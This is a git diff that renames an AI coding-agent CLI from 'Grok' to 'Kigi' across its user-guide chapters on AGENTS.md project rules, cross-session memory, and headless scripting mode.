 # Check config.toml for typos in [model.*] sections
 ```
@@ -347,8 +347,8 @@ curl -s https://api.example.com/v1/models \
 ### Debug Logging
 
 ```bash
-RUST_LOG=debug KIGI_LOG_FILE=/tmp/grok.log grok
-tail -f /tmp/grok.log
+RUST_LOG=debug KIGI_LOG_FILE=/tmp/kigi.log kigi
+tail -f /tmp/kigi.log
 ```
 
 Look for log entries containing `model` or `sampling` to trace model selection and API calls.
diff --git a/crates/codegen/kigi-tui/docs/user-guide/12-project-rules.md b/crates/codegen/kigi-tui/docs/user-guide/12-project-rules.md
index 1a40c72..b3dedc8 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/12-project-rules.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/12-project-rules.md
@@ -1,20 +1,20 @@
 # Project Rules (AGENTS.md)
 
-Project rules let you configure Grok per project or directory. By placing an AGENTS.md file in your repository, you can set coding conventions, build instructions, style guides, and any other instructions that Grok should follow when working in that codebase.
+Project rules let you configure Kigi per project or directory. By placing an AGENTS.md file in your repository, you can set coding conventions, build instructions, style guides, and any other instructions that Kigi should follow when working in that codebase.
 
 ---
 
 ## What Are Project Rules?
 
-Project rules are Markdown files that Grok reads and adds to its context. Grok follows their content for every interaction in that tree.
+Project rules are Markdown files that Kigi reads and adds to its context. Kigi follows their content for every interaction in that tree.
 
-This is the primary mechanism for teaching Grok about your project's conventions, so you need not restate them each session.
+This is the primary mechanism for teaching Kigi about your project's conventions, so you need not restate them each session.
 
 ---
 
 ## Supported File Names
 
-Grok checks for these filenames (in this order) within each directory:
+Kigi checks for these filenames (in this order) within each directory:
 
 - `Agents.md`
 - `Claude.md`
@@ -23,11 +23,11 @@ Grok checks for these filenames (in this order) within each directory:
 - `AGENT.md`
 - `AGENTS.md`
 
-Grok loads every matching file in a directory, so a folder that contains both `AGENTS.md` and `CLAUDE.md` contributes both. On case-insensitive filesystems, names that resolve to the same file (such as `Agents.md` and `AGENTS.md`) are deduplicated and counted once. `Claude.md`, `CLAUDE.md`, and `CLAUDE.local.md` are supported for compatibility with Claude Code workflows. When Claude compatibility is enabled (the default), Grok also scans your home-level `~/.claude/` directory for these filenames and, at each directory level, checks `.claude/CLAUDE.md` and `.claude/CLAUDE.local.md` -- the locations Claude Code uses for project memory. With Cursor compatibility enabled, the home-level `~/.cursor/` directory is scanned the same way.
+Kigi loads every matching file in a directory, so a folder that contains both `AGENTS.md` and `CLAUDE.md` contributes both. On case-insensitive filesystems, names that resolve to the same file (such as `Agents.md` and `AGENTS.md`) are deduplicated and counted once. `Claude.md`, `CLAUDE.md`, and `CLAUDE.local.md` are supported for compatibility with Claude Code workflows. When Claude compatibility is enabled (the default), Kigi also scans your home-level `~/.claude/` directory for these filenames and, at each directory level, checks `.claude/CLAUDE.md` and `.claude/CLAUDE.local.md` -- the locations Claude Code uses for project memory. With Cursor compatibility enabled, the home-level `~/.cursor/` directory is scanned the same way.
 
 ### Rules Directories
 
-In addition to AGENTS.md files, Grok scans for `*.md` files in rules directories at each level (`<dir>`) from the repo root to the current working directory:
+In addition to AGENTS.md files, Kigi scans for `*.md` files in rules directories at each level (`<dir>`) from the repo root to the current working directory:
 
 | Location | Notes |
 |----------|-------|
@@ -35,13 +35,13 @@ In addition to AGENTS.md files, Grok scans for `*.md` files in rules directories
 | `<dir>/.claude/rules/` | Claude compatibility (configurable) |
 | `<dir>/.cursor/rules/` | Cursor compatibility (configurable) |
 
-Grok scans the Claude and Cursor rules directories by default. To disable scanning for a specific vendor, set its cell in the `[compat]` config section or the corresponding environment variable. See [Configuration](05-configuration.md#harness-compatibility) for details.
+Kigi scans the Claude and Cursor rules directories by default. To disable scanning for a specific vendor, set its cell in the `[compat]` config section or the corresponding environment variable. See [Configuration](05-configuration.md#harness-compatibility) for details.
 
 ---
 
 ## How Discovery Works
 
-Grok scans for project rules in this order:
+Kigi scans for project rules in this order:
 
 1. **Global rules**: `~/.kigi/` (applies to all projects)
 2. **Repo rules**: If inside a git repo, every directory from the repo root down to the current working directory (inclusive)
@@ -60,16 +60,16 @@ Given this project structure:
       AGENTS.md          # "Use CSS modules for styling."
 ```
 
-When Grok runs in `~/projects/my-app/src/components/`, it loads all three files. The instructions accumulate, so Grok sees all of them.
+When Kigi runs in `~/projects/my-app/src/components/`, it loads all three files. The instructions accumulate, so Kigi sees all of them.
 
 ### Deeper Files Take Precedence
 
-Grok orders the files from the repo root to the current working directory, so files in deeper directories appear later in its context and take precedence when instructions conflict. In the example above, if the root says "Use styled-components" but `components/AGENTS.md` says "Use CSS modules", the CSS modules instruction wins because it appears later.
+Kigi orders the files from the repo root to the current working directory, so files in deeper directories appear later in its context and take precedence when instructions conflict. In the example above, if the root says "Use styled-components" but `components/AGENTS.md` says "Use CSS modules", the CSS modules instruction wins because it appears later.
 
 ### Auto-Loading Behavior
 
-- Grok loads the files from the repo root to the current working directory automatically at session start.
-- When Grok reads, lists, or edits files in directories outside that initial set, it detects any project instruction files there, notes their paths, and reads them when they apply to the task.
+- Kigi loads the files from the repo root to the current working directory automatically at session start.
+- When Kigi reads, lists, or edits files in directories outside that initial set, it detects any project instruction files there, notes their paths, and reads them when they apply to the task.
 
 ---
 
@@ -155,18 +155,18 @@ my-monorepo/
 To add rules for a single session without editing files, pass `--rules` (alias `--append-system-prompt`):
 
 ```bash
-grok --rules "Always use TypeScript. Prefer functional components."
+kigi --rules "Always use TypeScript. Prefer functional components."
 ```
 
-Grok appends this text to the session's system prompt. Use it for session-specific customization.
+Kigi appends this text to the session's system prompt. Use it for session-specific customization.
 
-To replace the system prompt entirely, pass `--system-prompt-override` (alias `--system-prompt`). Grok uses the text verbatim and skips both the default system prompt and `--rules`. (Text passed with `--rules`, by contrast, is wrapped in a `<human_rules>` block and appended to the default prompt.)
+To replace the system prompt entirely, pass `--system-prompt-override` (alias `--system-prompt`). Kigi uses the text verbatim and skips both the default system prompt and `--rules`. (Text passed with `--rules`, by contrast, is wrapped in a `<human_rules>` block and appended to the default prompt.)
 
 ---
 
 ## File Size
 
-Grok loads each project instruction file in full; there is no character cap and no truncation. Even so, keep instructions concise and focused. Shorter, specific rules are easier for Grok to follow than long ones, and every file you load consumes context.
+Kigi loads each project instruction file in full; there is no character cap and no truncation. Even so, keep instructions concise and focused. Shorter, specific rules are easier for Kigi to follow than long ones, and every file you load consumes context.
 
 ---
 
@@ -179,7 +179,7 @@ Files ignored by `.gitignore` are skipped during discovery. To keep personal ove
 CLAUDE.local.md
 ```
 
-As top-level instruction files, Grok discovers only the recognized filenames listed under [Supported File Names](#supported-file-names) — not custom names such as `AGENTS.local.md` or `notes.md`. (Inside a rules directory such as `.kigi/rules/`, every `*.md` file is loaded regardless of name.)
+As top-level instruction files, Kigi discovers only the recognized filenames listed under [Supported File Names](#supported-file-names) — not custom names such as `AGENTS.local.md` or `notes.md`. (Inside a rules directory such as `.kigi/rules/`, every `*.md` file is loaded regardless of name.)
 
 ---
 
@@ -202,13 +202,13 @@ These are all optional. See the respective guides for details on each.
 
 ## Inspecting Loaded Rules
 
-Use `grok inspect` to see all loaded project instructions:
+Use `kigi inspect` to see all loaded project instructions:
 
 ```bash
-grok inspect
+kigi inspect
 ```
 
-This shows each project instruction file it finds, with its path and approximate token count. Use it to confirm Grok picks up your rules.
+This shows each project instruction file it finds, with its path and approximate token count. Use it to confirm Kigi picks up your rules.
 
 ---
 
diff --git a/crates/codegen/kigi-tui/docs/user-guide/13-memory.md b/crates/codegen/kigi-tui/docs/user-guide/13-memory.md
index 6544caf..2fa624c 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/13-memory.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/13-memory.md
@@ -1,12 +1,12 @@
 # Cross-Session Memory
 
-Memory lets Grok recall facts, decisions, and patterns from earlier sessions. Grok indexes the information you save and searches it automatically, so a new session can reuse relevant context.
+Memory lets Kigi recall facts, decisions, and patterns from earlier sessions. Kigi indexes the information you save and searches it automatically, so a new session can reuse relevant context.
 
 ---
 
 ## What Is Memory?
 
-Without memory, each Grok session starts fresh: the model knows nothing about previous sessions. When you enable memory, Grok can:
+Without memory, each Kigi session starts fresh: the model knows nothing about previous sessions. When you enable memory, Kigi can:
 
 - Recall project conventions you explained before.
 - Reuse debugging steps that worked.
@@ -22,14 +22,14 @@ Memory is experimental and disabled by default.
 ### Per-Session Flag
 
 ```bash
-grok --experimental-memory
+kigi --experimental-memory
 ```
 
 ### Environment Variable
 
 ```bash
 export KIGI_MEMORY=1
-grok
+kigi
 ```
 
 ### Config File (Persistent)
@@ -45,7 +45,7 @@ enabled = true
 To disable memory even when other settings enable it:
 
 ```bash
-grok --no-memory
+kigi --no-memory
 ```
 
 Or:
@@ -89,7 +89,7 @@ Memory is stored as Markdown files under `~/.kigi/memory/`:
 | `~/.kigi/memory/<project-slug>-<hash8>/MEMORY.md` | Workspace | Project-specific conventions and context |
 | `~/.kigi/memory/<project-slug>-<hash8>/sessions/` | Sessions | Per-session summaries and logs |
 
-Grok suffixes each workspace directory with a short hash of the repository's identity. The identity is the `origin` remote in `org/repo` form when the directory is a Git repository with an `origin` remote, or the directory path otherwise. Because clones and worktrees of the same repository share an `origin` remote, they also share one memory directory.
+Kigi suffixes each workspace directory with a short hash of the repository's identity. The identity is the `origin` remote in `org/repo` form when the directory is a Git repository with an `origin` remote, or the directory path otherwise. Because clones and worktrees of the same repository share an `origin` remote, they also share one memory directory.
 
 An SQLite index supports hybrid search across all memory files:
 - **FTS5** provides full-text search for keyword matching.
@@ -99,13 +99,13 @@ An SQLite index supports hybrid search across all memory files:
 
 ## Automatic Saves
 
-When a session ends, Grok saves a structured metadata summary to that session's daily log. The summary contains:
+When a session ends, Kigi saves a structured metadata summary to that session's daily log. The summary contains:
 
 - Message counts (user, assistant, and tool results).
 - Topics: the first few substantive user prompts from the session, up to five.
 - The session date and time (UTC).
 
-Grok builds the summary from conversation metadata without an LLM call, without added latency. Grok skips the save for trivial sessions -- those with fewer than three substantive prompts, or fewer than 50 bytes of user text.
+Kigi builds the summary from conversation metadata without an LLM call, without added latency. Kigi skips the save for trivial sessions -- those with fewer than three substantive prompts, or fewer than 50 bytes of user text.
 
 The summary does not record tool usage, file paths, or shell commands. The session ID forms part of the log filename. To turn automatic saves off, set `session.save_on_end = false`. For richer capture of decisions, patterns, and reasoning, use `/flush`.
 
@@ -132,13 +132,13 @@ Use `/flush` when you want to preserve important context:
 
 ### Remember
 
-Ask Grok to remember something, and it appends the note to a `MEMORY.md` file -- the workspace file for project-specific items, or the global `~/.kigi/memory/MEMORY.md` for cross-project preferences:
+Ask Kigi to remember something, and it appends the note to a `MEMORY.md` file -- the workspace file for project-specific items, or the global `~/.kigi/memory/MEMORY.md` for cross-project preferences:
 
 ```
 > remember to always open PR links after pushing
 ```
 
-Grok records entries as durable statements under organized headings, such as `## Preferences`, `## Project Context`, or `## Debugging`. The file watcher reindexes the change on the next memory search, so the new entry is searchable within the current session.
+Kigi records entries as durable statements under organized headings, such as `## Preferences`, `## Project Context`, or `## Debugging`. The file watcher reindexes the change on the next memory search, so the new entry is searchable within the current session.
 
 You can also save a note directly with the `/remember` command:
 
@@ -146,11 +146,11 @@ You can also save a note directly with the `/remember` command:
 /remember always open PR links after pushing
 ```
 
-Run `/remember` with no text to enter remember mode, where the next line you type becomes the note. Either way, Grok opens a review panel showing the note (with an optional rewritten version you can toggle with `Tab`); the note is written only after you confirm. On save, Grok shows `Memory saved to ~/.kigi/memory/MEMORY.md`.
+Run `/remember` with no text to enter remember mode, where the next line you type becomes the note. Either way, Kigi opens a review panel showing the note (with an optional rewritten version you can toggle with `Tab`); the note is written only after you confirm. On save, Kigi shows `Memory saved to ~/.kigi/memory/MEMORY.md`.
 
 ### Forget
 
-Ask Grok to forget something, and it finds and removes the matching entry:
+Ask Kigi to forget something, and it finds and removes the matching entry:
 
 ```
 > forget the snake_case convention
@@ -160,13 +160,13 @@ Forget is best-effort: the model searches memory and removes entries that match.
 
 ### Recall
 
-Ask what Grok remembers:
+Ask what Kigi remembers:
 
 ```
 > what do you remember?
 ```
 
-Grok searches across all memory files and summarizes what it knows, grouped by source: global preferences, project-specific knowledge, and session history. Use `/memory` to browse the raw files.
+Kigi searches across all memory files and summarizes what it knows, grouped by source: global preferences, project-specific knowledge, and session history. Use `/memory` to browse the raw files.
 
 ### Direct Editing
 
@@ -212,13 +212,13 @@ You can also open `/memory` from the command palette.
 
 ## Memory Notifications
 
-When you save a note with `/remember`, Grok confirms in the scrollback:
+When you save a note with `/remember`, Kigi confirms in the scrollback:
 
 ```
 Memory saved to ~/.kigi/memory/MEMORY.md
 ```
 
-Background saves — flush, dream, and session-end — run silently and do not post a scrollback message. Use `/memory` at any time to browse what Grok has stored.
+Background saves — flush, dream, and session-end — run silently and do not post a scrollback message. Use `/memory` at any time to browse what Kigi has stored.
 
 ---
 
@@ -234,7 +234,7 @@ Dream reorganizes individual session logs and memory entries into a coherent, de
 
 ### Auto-Dream
 
-Dream also runs automatically. By default, Grok checks the consolidation gates when a session ends and runs Dream once enough time has passed and enough sessions have accumulated:
+Dream also runs automatically. By default, Kigi checks the consolidation gates when a session ends and runs Dream once enough time has passed and enough sessions have accumulated:
 
 ```toml
 [memory.dream]
@@ -251,7 +251,7 @@ min_sessions = 3   # Minimum sessions since the last consolidation
 
 ### First-Turn Injection
 
-On the first turn of each session, Grok automatically searches memory for content relevant to the current project and injects it as context. This means Grok starts with knowledge from previous sessions without a reminder.
+On the first turn of each session, Kigi automatically searches memory for content relevant to the current project and injects it as context. This means Kigi starts with knowledge from previous sessions without a reminder.
 
 First-turn injection can be configured:
 
@@ -269,7 +269,7 @@ Memory is also searched after auto-compaction to recover relevant context that m
 
 ## Memory Search
 
-Grok searches memory automatically, but you can also trigger searches manually in the chat:
+Kigi searches memory automatically, but you can also trigger searches manually in the chat:
 
 ```
 Search memory for "auth middleware patterns"
@@ -324,23 +324,23 @@ lambda = 0.7             # 0.0 = max diversity, 1.0 = pure relevance
 
 ## CLI Commands
 
-The `grok memory` command manages memory from the shell. It has one subcommand, `clear`:
+The `kigi memory` command manages memory from the shell. It has one subcommand, `clear`:
 
 ```bash
 # Clear workspace memory (MEMORY.md, sessions/, and index.sqlite). This is the default scope.
-grok memory clear
+kigi memory clear
 
 # The same scope, stated explicitly
-grok memory clear --workspace
+kigi memory clear --workspace
 
 # Clear the global MEMORY.md
-grok memory clear --global
+kigi memory clear --global
 
 # Clear both workspace and global memory
-grok memory clear --all
+kigi memory clear --all
 
 # Skip the confirmation prompt (-y is the short form)
-grok memory clear --yes
+kigi memory clear --yes
 ```
 
 To edit memory from the shell, open the files in your editor directly -- for example, `$EDITOR ~/.kigi/memory/MEMORY.md`.
@@ -386,7 +386,7 @@ To edit memory from the shell, open the files in your editor directly -- for exa
 | Key | Default | Description |
 |-----|---------|-------------|
 | `enabled` | `true` | Enable first-turn memory injection |
-| `min_score` | unset | Score threshold for first-turn results. When unset, Grok applies no threshold, which is equivalent to `0.0`. |
+| `min_score` | unset | Score threshold for first-turn results. When unset, Kigi applies no threshold, which is equivalent to `0.0`. |
 
 ### Dream Settings (`[memory.dream]`)
 
@@ -407,7 +407,7 @@ You configure flush under `[compaction]`, not `[memory]`, because it is a compac
 | `enabled` | `true` | Enable the pre-compaction memory flush |
 | `soft_threshold_tokens` | `4000` | Token headroom before the compact threshold that triggers a flush |
 | `max_flush_write_chars` | `8000` | Maximum characters the flush may write to memory |
-| `flush_model` | unset | Model for the flush turn. When unset, Grok uses the session's primary model. |
+| `flush_model` | unset | Model for the flush turn. When unset, Kigi uses the session's primary model. |
 | `idle_timeout_secs` | unset | Idle seconds before a background flush. When unset, flush runs only before compaction. |
 | `semantic_dedup_threshold` | unset | Cosine-similarity threshold for de-duplicating flushed content. When unset, defaults to `0.92`. |
 
@@ -428,13 +428,13 @@ You configure pruning under `[compaction]`, not `[memory]`, because it is a comp
 
 ## Memory Staleness
 
-When a session memory is old, Grok attaches a staleness note to it in search results. Older results get a stronger reminder to verify the current state before you rely on them. These notes help you spot stored facts that might no longer be accurate. Global and workspace memories never receive staleness notes, because they hold curated long-term knowledge.
+When a session memory is old, Kigi attaches a staleness note to it in search results. Older results get a stronger reminder to verify the current state before you rely on them. These notes help you spot stored facts that might no longer be accurate. Global and workspace memories never receive staleness notes, because they hold curated long-term knowledge.
 
 ---
 
 ## File Watcher
 
-By default, Grok watches `~/.kigi/memory/` for external file changes. If you edit memory files directly (e.g., in your editor), the changes are picked up automatically on the next memory search:
+By default, Kigi watches `~/.kigi/memory/` for external file changes. If you edit memory files directly (e.g., in your editor), the changes are picked up automatically on the next memory search:
 
 - Created or modified files are reindexed.
 - Deleted files have their stale chunks removed from the index.
@@ -450,8 +450,8 @@ enabled = true    # default
 
 ### Memory Not Working
 
-1. Verify memory is enabled: check `grok inspect` output.
-2. Check the flag: `grok --experimental-memory` or `KIGI_MEMORY=1`.
+1. Verify memory is enabled: check `kigi inspect` output.
+2. Check the flag: `kigi --experimental-memory` or `KIGI_MEMORY=1`.
 3. Check for `--no-memory` or `KIGI_MEMORY=0` overriding your config.
 
 ### Memory Not Appearing in Sessions
@@ -471,6 +471,6 @@ $EDITOR ~/.kigi/memory/MEMORY.md
 ### Debug Logging
 
 ```bash
-RUST_LOG=debug KIGI_LOG_FILE=/tmp/grok.log grok
-grep "memory" /tmp/grok.log
+RUST_LOG=debug KIGI_LOG_FILE=/tmp/kigi.log kigi
+grep "memory" /tmp/kigi.log
 ```
diff --git a/crates/codegen/kigi-tui/docs/user-guide/14-headless-mode.md b/crates/codegen/kigi-tui/docs/user-guide/14-headless-mode.md
index a223698..914bc9f 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/14-headless-mode.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/14-headless-mode.md
@@ -1,6 +1,6 @@
 # Headless Mode and Scripting
 
-Headless mode runs Grok non-interactively from the command line. It accepts a single prompt, executes it with full tool access, and returns the result. Use it to automate tasks, script workflows, build integrations, and parse output programmatically.
+Headless mode runs Kigi non-interactively from the command line. It accepts a single prompt, executes it with full tool access, and returns the result. Use it to automate tasks, script workflows, build integrations, and parse output programmatically.
 
 ---
 
@@ -9,10 +9,10 @@ Headless mode runs Grok non-interactively from the command line. It accepts a si
 Passing a prompt non-interactively triggers headless mode. The most common way is the `-p` flag (short for `--single`); `--prompt-json` and `--prompt-file` also trigger it:
 
 ```bash
-grok -p "Your prompt here"
+kigi -p "Your prompt here"
 ```
 
-Grok processes the prompt, runs any necessary tools, and prints the result to stdout. The process exits when the response is complete.
+Kigi processes the prompt, runs any necessary tools, and prints the result to stdout. The process exits when the response is complete.
 
 ---
 
@@ -21,7 +21,7 @@ Grok processes the prompt, runs any necessary tools, and prints the result to st
 | Flag                    | Description                                           |
 | ----------------------- | ----------------------------------------------------- |
 | `-p, --single <PROMPT>` | The prompt to send (or use `--prompt-json` / `--prompt-file`) |
-| `-m, --model <MODEL>`   | Model to use (e.g., `grok-build`)              |
+| `-m, --model <MODEL>`   | Model to use (e.g., `kigi`)              |
 | `-s, --session-id <ID>` | Create a **new** session with this **UUID** (errors if invalid UUID or already in use under the target session directory; does not resume — use `-r`/`-c`) |
 | `--fork-session`        | With `-r`/`-c`, fork into a new session ID instead of appending to the original |
 | `-r, --resume <ID>`     | Resume an existing session (errors if not found)      |
@@ -53,13 +53,13 @@ Tool names are internal tool IDs (e.g. the shell tool is `run_terminal_cmd`, not
 
 ```bash
 # Only allow read-only tools
-grok -p "Explain this codebase" --tools "read_file,grep,list_dir"
+kigi -p "Explain this codebase" --tools "read_file,grep,list_dir"
 
 # Remove web access and file editing
-grok -p "Review this code" --disallowed-tools "web_search,web_fetch,search_replace"
+kigi -p "Review this code" --disallowed-tools "web_search,web_fetch,search_replace"
 
 # Remove shell access
-grok -p "Review this code" --disallowed-tools "run_terminal_cmd"
+kigi -p "Review this code" --disallowed-tools "run_terminal_cmd"
 ```
 
 `--disallowed-tools` also supports special `Agent` entries to control subagent spawning:
@@ -72,10 +72,10 @@ grok -p "Review this code" --disallowed-tools "run_terminal_cmd"
 
 ```bash
 # Prevent the agent from spawning any subagents
-grok -p "Fix this bug" --disallowed-tools "Agent"
+kigi -p "Fix this bug" --disallowed-tools "Agent"
 
 # Block only the explore subagent
-grok -p "Refactor this module" --disallowed-tools "Agent(explore)"
+kigi -p "Refactor this module" --disallowed-tools "Agent(explore)"
 ```
 
 `--tools` preserves the selected agent profile's injection policy: stock profiles inject enabled optional tools before applying the allowlist, while curated profiles remain strict. The final toolset retains requested tools plus always-on MCP meta-tools. When both flags are present, `--disallowed-tools` wins.
@@ -100,13 +100,13 @@ For path rules (`Read`, `Edit`, `Write`, `Grep`), `*` is a single-level wildcard
 
 ```bash
 # Deny shell commands matching "rm*"
-grok -p "Clean up this project" --deny "Bash(rm*)"
+kigi -p "Clean up this project" --deny "Bash(rm*)"
 
 # Allow npm commands, deny sudo
-grok -p "Set up the project" --allow "Bash(npm*)" --deny "Bash(sudo*)"
+kigi -p "Set up the project" --allow "Bash(npm*)" --deny "Bash(sudo*)"
 
 # Allow all bash commands (auto-approve without prompting)
-grok -p "Build the project" --allow "Bash"
+kigi -p "Build the project" --allow "Bash"
 ```
 
 `--allow` and `--deny` can be repeated. Deny rules take precedence over allow rules.
@@ -147,7 +147,7 @@ When the prompt reached the model, the same object also carries spend fields
     "total_tokens": 50103
   },
   "modelUsage": {
-    "grok-build": {
+    "kigi": {
       "inputTokens": 7210,
       "outputTokens": 1893,
       "cacheReadInputTokens": 41000,
@@ -199,7 +199,7 @@ Usage notes:
 
 The `sessionId` field is useful for resuming the conversation later.
 
-On failure, Grok emits an error object (process exit non-zero). Prompt-level
+On failure, Kigi emits an error object (process exit non-zero). Prompt-level
 failures may also include frozen spend fields when usage was recorded:
 
 ```json
@@ -229,13 +229,13 @@ Event types:
 `end` is always the last event. Spend fields on `end` match the json object
 shape (snake_case uncached `input_tokens`, safe cost floats).
 
-Grok may also emit `max_turns_reached` and `auto_compact_*` events; treat the list as non-exhaustive and switch on `type`.
+Kigi may also emit `max_turns_reached` and `auto_compact_*` events; treat the list as non-exhaustive and switch on `type`.
 
 ---
 
 ## Session Management in Headless Mode
 
-By default, each `grok -p` invocation creates a fresh session. To maintain context across calls, use session flags.
+By default, each `kigi -p` invocation creates a fresh session. To maintain context across calls, use session flags.
 
 ### Named Sessions (`-s`)
 
@@ -243,13 +243,13 @@ To carry context across headless calls, use `-r/--resume` or `-c/--continue`. Us
 
 ```bash
 # Start a headless session and capture its ID
-grok -p "Review the changes in this PR" --output-format json | jq -r '.sessionId'
+kigi -p "Review the changes in this PR" --output-format json | jq -r '.sessionId'
 
 # Continue in the same session
-grok -p "Now check for security issues" --resume "<id>"
+kigi -p "Now check for security issues" --resume "<id>"
 
 # Optional: create with a client-chosen UUID (must not already exist)
-grok -p "hello" --session-id "$(uuidgen | tr '[:upper:]' '[:lower:]')" --output-format json
+kigi -p "hello" --session-id "$(uuidgen | tr '[:upper:]' '[:lower:]')" --output-format json
 ```
 
 > **Note:** `-s/--session-id` creates a new session only (valid UUID; errors if already in use). Use `-r` to resume.
@@ -260,11 +260,11 @@ The `-r/--resume` flag resumes a specific session by ID. It errors if the sessio
 
 ```bash
 # Get the session ID from a previous JSON response
-grok -p "Remember: the secret number is 42" --output-format json
+kigi -p "Remember: the secret number is 42" --output-format json
 # Output includes "sessionId": "abc123"
 
 # Resume that exact session
-grok -p "What's the secret number?" --resume abc123
+kigi -p "What's the secret number?" --resume abc123
 ```
 
 ### Continue (`-c`)
@@ -272,7 +272,7 @@ grok -p "What's the secret number?" --resume abc123
 The `-c/--continue` flag continues the most recent session in the current working directory:
 
 ```bash
-grok -p "Continue where we left off" -c
+kigi -p "Continue where we left off" -c
 ```
 
 ### Extracting Session IDs
@@ -280,7 +280,7 @@ grok -p "Continue where we left off" -c
 Use `--output-format json` and parse the `sessionId` field:
 
 ```bash
-grok -p "Hello" --output-format json | jq -r '.sessionId'
+kigi -p "Hello" --output-format json | jq -r '.sessionId'
 ```
 
 ---
@@ -293,10 +293,10 @@ Headless mode works naturally with Unix pipes and redirection.
 
 ```bash
 # Pipe output to a file
-grok -p "Generate a README" > README.md
+kigi -p "Generate a README" > README.md
 
 # Parse JSON output with jq
-grok -p "List files" --output-format json | jq -r '.text'
+kigi -p "List files" --output-format json | jq -r '.text'
 ```
 
 ### Standard Input
@@ -305,12 +305,12 @@ Headless mode does not read piped stdin into the prompt. Pass external content t
 
 ```bash
 # Include git diff as context via command substitution
-grok -p "Write a concise commit message for these changes:
+kigi -p "Write a concise commit message for these changes:
 
 $(git diff --staged)"
 
 # Or read the prompt from a file
-grok --prompt-file ./prompt.txt
+kigi --prompt-file ./prompt.txt
 ```
 
 ---
@@ -320,14 +320,14 @@ grok --prompt-file ./prompt.txt
 ### Automated Code Review
 
 ```bash
-grok -p "Review changes for bugs and security issues." \
+kigi -p "Review changes for bugs and security issues." \
   --output-format json --yolo | jq -r '.text' > review.md
 ```
 
 ### Pre-Commit Hook
 
 ```bash
-grok -p "Review staged changes for obvious bugs. Reply OK if fine, or list issues." \
+kigi -p "Review staged changes for obvious bugs. Reply OK if fine, or list issues." \
   --yolo --output-format json | jq -r '.text' | grep -q "^OK" || exit 1
 ```
 
@@ -335,7 +335,7 @@ grok -p "Review staged changes for obvious bugs. Reply OK if fine, or list issue
 
 ```bash
 for file in src/*.js; do
-  grok -p "Migrate $file from CommonJS to ES modules." --yolo
+  kigi -p "Migrate $file from CommonJS to ES modules." --yolo
 done
 ```
 
@@ -345,14 +345,14 @@ done
 
 ### Python Wrapper
 
-Grok's headless mode can be wrapped as an OpenAI-compatible chat completion API:
+Kigi's headless mode can be wrapped as an OpenAI-compatible chat completion API:
 
 ```python
 import asyncio
 import json
 import os
 
-class GrokChat:
+class KigiChat:
     """Simple OpenAI-compatible wrapper using headless mode."""
 
     def __init__(self, cwd="."):
@@ -360,11 +360,11 @@ class GrokChat:
         self.env = {**os.environ}
 
     def _build_cmd(self, prompt, model, stream):
-        return ["grok", "-p", prompt, "-m", model, "--cwd", self.cwd,
+        return ["kigi", "-p", prompt, "-m", model, "--cwd", self.cwd,
                 "--output-format", "streaming-json" if stream else "json",
                 "--yolo"]
 
-    async def create(self, messages, model="grok-build", stream=False):
+    async def create(self, messages, model="kigi", stream=False):
         prompt = messages[-1]["content"] if len(messages) == 1 else "\n".join(
             f"{m['role']}: {m['content']}" for m in messages
         )
@@ -400,7 +400,7 @@ class GrokChat:
 
 
 async def main():
-    client = GrokChat(cwd=".")
+    client = KigiChat(cwd=".")
     response = await client.create(
         [{"role": "user", "content": "What files are here?"}]
     )
@@ -415,7 +415,7 @@ asyncio.run(main())
 #!/bin/bash
 # Run a code review and exit with failure if issues are found
 
-RESULT=$(grok -p "Review this PR for bugs. Output JSON with 'issues' array." \
+RESULT=$(kigi -p "Review this PR for bugs. Output JSON with 'issues' array." \
   --output-format json --yolo | jq -r '.text')
 
 ISSUE_COUNT=$(echo "$RESULT" | jq '.issues | length' 2>/dev/null || echo "0")
@@ -437,10 +437,10 @@ The `--yolo` flag enables always-approve mode (the same mode as `--permission-mo
 
 ```bash
 # Format all files without asking
-grok -p "Format all files" --yolo
+kigi -p "Format all files" --yolo
 
 # Run tests and fix failures
-grok -p "Run the tests and fix any failures" --cwd ~/projects/my-app --yolo
+kigi -p "Run the tests and fix any failures" --cwd ~/projects/my-app --yolo
 ```
 
 **Use `--yolo` with care.** It grants the agent full autonomy to modify files and run commands. Only use it in trusted environments or with well-scoped prompts.
@@ -462,7 +462,7 @@ For CI environments without browser access, set `XAI_API_KEY` with an API key fr
 
 ```bash
 export XAI_API_KEY="xai-..."
-grok -p "Run the test suite" --yolo
+kigi -p "Run the test suite" --yolo
 ```
 
 ---
@@ -483,9 +483,9 @@ grok -p "Run the test suite" --yolo
 For headless use, authenticate with one of:
 
 - **`XAI_API_KEY`** — simplest for CI. See [Environment Variables](#environment-variables-for-headless) above.
-- **`grok login --device-auth`** (or `--device-code`) — no browser needed on the target machine.
+- **`kigi login --device-auth`** (or `--device-code`) — no browser needed on the target machine.
   See [Authentication > Device Code Flow](02-authentication.md#device-code-flow).
-- **`grok login`** — browser-based OAuth2 on machines with a GUI.
+- **`kigi login`** — browser-based OAuth2 on machines with a GUI.
 
 If you've previously logged in, cached credentials are used automatically.
 
@@ -495,18 +495,18 @@ If you've previously logged in, cached credentials are used automatically.
 
 - Headless mode starts a **fresh session by default**. Use `-r/--resume` or `-c/--continue` to maintain context across calls.
 - The `--output-format json` response always includes a `sessionId` you can use with `--resume` for follow-up calls.
-- Combine `--yolo` with `--rules` to set guardrails: `grok -p "..." --yolo --rules "Never delete files"`.
-- For debugging, raise the log level and capture stderr: `RUST_LOG=debug grok -p "..." 2> debug.log`.
+- Combine `--yolo` with `--rules` to set guardrails: `kigi -p "..." --yolo --rules "Never delete files"`.
+- For debugging, raise the log level and capture stderr: `RUST_LOG=debug kigi -p "..." 2> debug.log`.
 
 ---
 
 ## Project Root Discovery
 
-When Grok starts, it discovers the project root by walking upward from `--cwd`
+When Kigi starts, it discovers the project root by walking upward from `--cwd`
 (or the current directory) until it finds a `.git` directory.
 
 Note: If `--cwd` is nested inside a large repository (such as a monorepo),
-Grok discovers that repository as the project root and scopes its discovery (AGENTS.md, skills, git history) to it, which can make
+Kigi discovers that repository as the project root and scopes its discovery (AGENTS.md, skills, git history) to it, which can make
 startup slow. Point `--cwd` at the specific subproject you want to work in to keep
 the scope small.
 
@@ -514,7 +514,7 @@ the scope small.
 
 ## File Locations
 
-Grok stores data in `~/.kigi` (override with `KIGI_SHARE_DIR`; see [Environment Variables for Headless](#environment-variables-for-headless)):
